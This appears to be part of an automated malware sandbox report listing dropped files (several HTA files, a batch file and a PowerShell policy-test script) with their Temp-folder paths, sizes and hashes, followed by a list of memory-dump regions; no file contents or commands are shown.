SHA512 1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8
SSDEEP 12288:qHBYYWsMSiyarcn84OBoT+ZR4+hazer9Wqcy6L+ZgKmwdy8no2Y+iPBfxonyfY80:qHBnWs/nROBiGR4+hazer+Vufo/JxBYQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

b.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\b.hta
Size 17KB
SHA256 96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170
MD5 5bbba448146acc4530b38017be801e2e
SHA1 8c553a7d3492800b630fc7d65a041ae2d466fb36
SHA512 48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHdx/+dkxh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4d1+dkxh9u77+dkfNc
MD5 SHA1 SHA512 SSDEEP

Submit Download

b1.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\b1.hta
Size 17KB
SHA256 bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5
MD5 c57770e25dd4e35b027ed001d9f804c2
SHA1 408b1b1e124e23c2cc0c78b58cb0e595e10c83c0
SHA512 ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHdhdNs79xh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4dbN29xh9u77+dkfNc
MD5 SHA1 SHA512 SSDEEP

Submit Download

ba.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\ba.hta
Size 17KB
SHA256 c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1
MD5 b762ca68ba25be53780beb13939870b2
SHA1 1780ee68efd4e26ce1639c6839c7d969f0137bfd
SHA512 f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHdH1oEgmExh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4dH17gHxh9u77+dkfS
MD5 SHA1 SHA512 SSDEEP

Submit Download

ba1.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\ba1.hta
Size 17KB
SHA256 0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c
MD5 a2ea849e5e5048a5eacd872a5d17aba5
SHA1 65acf25bb62840fd126bf8adca3bb8814226e30f
SHA512 d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHdPE32zxh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4dfzxh9u77+dkfNfGP
MD5 SHA1 SHA512 SSDEEP

Submit Download

m.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\m.hta
Size 17KB
SHA256 831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d
MD5 9383fc3f57fa2cea100b103c7fd9ea7c
SHA1 84ea6c1913752cb744e061ff2a682d9fe4039a37
SHA512 16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHd7oFiV9Ugxh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4d88pxh9u77+dkfNf0
MD5 SHA1 SHA512 SSDEEP

Submit Download

m1.hta

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\m1.hta
Size 17KB
SHA256 dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e
MD5 5eb75e90380d454828522ed546ea3cb7
SHA1 45c89f292d035367aeb2ddeb3110387a772c8a49
SHA512 0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4
SSDEEP 384:7oA+A4A5d9MArqqyo8iogKHdXZIUAxh9k6C77+dkfNOOrY02RwVuBWI:7oA+A4A5Dt8iog4dX6UAxh9u77+dkfNc
MD5 SHA1 SHA512 SSDEEP

Submit Download

start.bat

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\start.bat
Size 176B
SHA256 d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe
MD5 68d86e419dd970356532f1fbcb15cb11
SHA1 e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a
SHA512 3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_lccxngca.3u5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lccxngca.3u5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3288-23-0x0000000002360000-0x0000000002361000-memory.dmp

Download

memory/3288-110-0x0000000000400000-0x00000000005BC000-memory.dmp

Download

memory/3288-112-0x0000000002360000-0x0000000002361000-memory.dmp

Download

memory/3288-125-0x0000000000400000-0x00000000005BC000-memory.dmp

Download

memory/3288-22-0x0000000000710000-0x0000000000713000-memory.dmp

Download

memory/3288-21-0x0000000000400000-0x00000000005BC000-memory.dmp

Download

memory/4576-102-0x0000000008020000-0x00000000085C4000-memory.dmp

Download

memory/4576-100-0x00000000071A0000-0x0000000007236000-memory.dmp

Download

memory/4576-101-0x0000000007130000-0x0000000007152000-memory.dmp

Download

memory/4576-55-0x00000000057D0000-0x0000000005B24000-memory.dmp

Download

memory/4576-32-0x0000000002370000-0x00000000023A6000-memory.dmp

Download

memory/4896-79-0x0000000006C50000-0x0000000006C6A000-memory.dmp

Download

memory/4896-78-0x0000000008070000-0x00000000086EA000-memory.dmp

Download

memory/4896-74-0x00000000066F0000-0x000000000670E000-memory.dmp

Download

memory/4896-75-0x0000000006730000-0x000000000677C000-memory.dmp

Download

memory/5880-35-0x00000000057E0000-0x0000000005846000-memory.dmp

Download

memory/5880-36-0x0000000005EF0000-0x0000000005F56000-memory.dmp

Download

memory/5880-34-0x0000000005730000-0x0000000005752000-memory.dmp

Download

memory/5880-33-0x00000000058C0000-0x0000000005EE8000-memory.dmp

Download